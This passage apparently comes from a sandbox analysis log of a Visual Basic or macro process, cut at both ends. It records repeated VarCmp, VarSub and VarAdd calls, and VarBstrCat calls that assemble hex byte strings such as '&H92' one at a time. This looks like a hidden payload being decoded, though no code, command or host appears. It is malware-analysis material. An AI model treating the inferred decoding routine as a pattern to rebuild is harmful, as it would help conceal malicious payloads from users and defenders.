lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.225] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.225] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.225] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.225] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.226] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.226] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.226] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.226] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.226] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.226] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.226] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.226] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.226] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.226] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.226] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.226] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.226] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.226] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.226] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.226] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.227] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.227] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.227] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.227] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.227] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.227] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.227] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.227] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.227] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.259] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.259] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.259] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.259] VarBstrCat (in: bstrLeft="&H9", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.259] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.259] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.259] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.259] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.259] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.259] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.259] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.259] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.260] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.260] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.260] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.260] VarBstrCat (in: bstrLeft="&H", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.260] VarBstrCat (in: bstrLeft="&H6", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.260] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.260] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.260] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.260] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.260] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.260] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.260] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.260] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.261] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.261] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.261] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.261] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.261] VarBstrCat (in: bstrLeft="&H1", bstrRight="4", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.261] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.261] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.261] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.261] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.261] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.261] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.261] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.261] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.262] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.262] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.262] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.262] VarBstrCat (in: bstrLeft="&H", bstrRight="d", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.262] VarBstrCat (in: bstrLeft="&Hd", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.262] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.262] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.262] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.262] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.262] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.262] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.262] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.262] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.263] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.263] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.263] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.263] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.263] VarBstrCat (in: bstrLeft="&Hc", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.263] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.263] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.263] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.263] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.263] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.263] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.263] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.263] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.263] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.264] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.264] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.264] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.264] VarBstrCat (in: bstrLeft="&H9", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.264] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.264] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.264] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.264] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.264] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.264] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.264] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.264] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.264] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.265] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.265] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.265] VarBstrCat (in: bstrLeft="&H", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.265] VarBstrCat (in: bstrLeft="&H7", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.265] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.265] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.265] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.265] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.265] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.265] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.265] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.265] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.265] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.266] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.266] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.266] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.266] VarBstrCat (in: bstrLeft="&H2", bstrRight="7", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.266] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.266] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.266] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.266] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.266] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.266] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.266] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.266] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x1 [0086.266] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.266] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.267] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.267] VarBstrCat (in: bstrLeft="&H", bstrRight="8", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.267] VarBstrCat (in: bstrLeft="&H8", bstrRight="6", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.267] VarCmp (pvarLeft=0x19790c, pvarRight=0x1978fc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0086.267] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.267] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.267] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.267] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.267] VarBstrCat (in: bstrLeft="&H5", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.267] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.268] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.268] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.268] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.268] VarBstrCat (in: bstrLeft="&H1", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.268] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.268] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.268] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.268] VarBstrCat (in: bstrLeft="&H", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.268] VarBstrCat (in: bstrLeft="&H9", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.268] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.268] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.268] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.268] VarBstrCat (in: bstrLeft="&H", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.268] VarBstrCat (in: bstrLeft="&Hc", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.268] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.269] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.269] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.269] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.269] VarBstrCat (in: bstrLeft="&H5", bstrRight="c", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.269] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.269] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.269] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.269] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.269] VarBstrCat (in: bstrLeft="&H0", bstrRight="e", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.269] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.269] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.269] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.270] VarBstrCat (in: bstrLeft="&H", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.270] VarBstrCat (in: bstrLeft="&H2", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.270] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.270] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.270] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.270] VarBstrCat (in: bstrLeft="&H", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.270] VarBstrCat (in: bstrLeft="&Ha", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.270] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.270] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.270] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.270] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.270] VarBstrCat (in: bstrLeft="&H5", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.270] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.270] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.270] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.271] VarBstrCat (in: bstrLeft="&H", bstrRight="5", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.271] VarBstrCat (in: bstrLeft="&H5", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.271] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.271] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.271] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.271] VarBstrCat (in: bstrLeft="&H", bstrRight="3", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.271] VarBstrCat (in: bstrLeft="&H3", bstrRight="2", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.271] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.271] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.271] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.271] VarBstrCat (in: bstrLeft="&H", bstrRight="0", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.271] VarBstrCat (in: bstrLeft="&H0", bstrRight="a", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.271] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.272] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.272] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.272] VarBstrCat (in: bstrLeft="&H", bstrRight="1", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.272] VarBstrCat (in: bstrLeft="&H1", bstrRight="9", pbstrResult=0x197ab8 | out: pbstrResult=0x197ab8) returned 0x0 [0086.272] VarSub (in: pvarLeft=0x197b10, pvarRight=0x197b20, pvarResult=0x197b00 | out: pvarResult=0x197b00) returned 0x0 [0086.272] VarAdd (in: pvarLeft=0x197a34, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.272] VarAdd (in: pvarLeft=0x197b94, pvarRight=0x197a44, pvarResult=0x197a24 | out: pvarResult=0x197a24) returned 0x0 [0086.272] VarBstrCat (in: bstrLeft="&H", 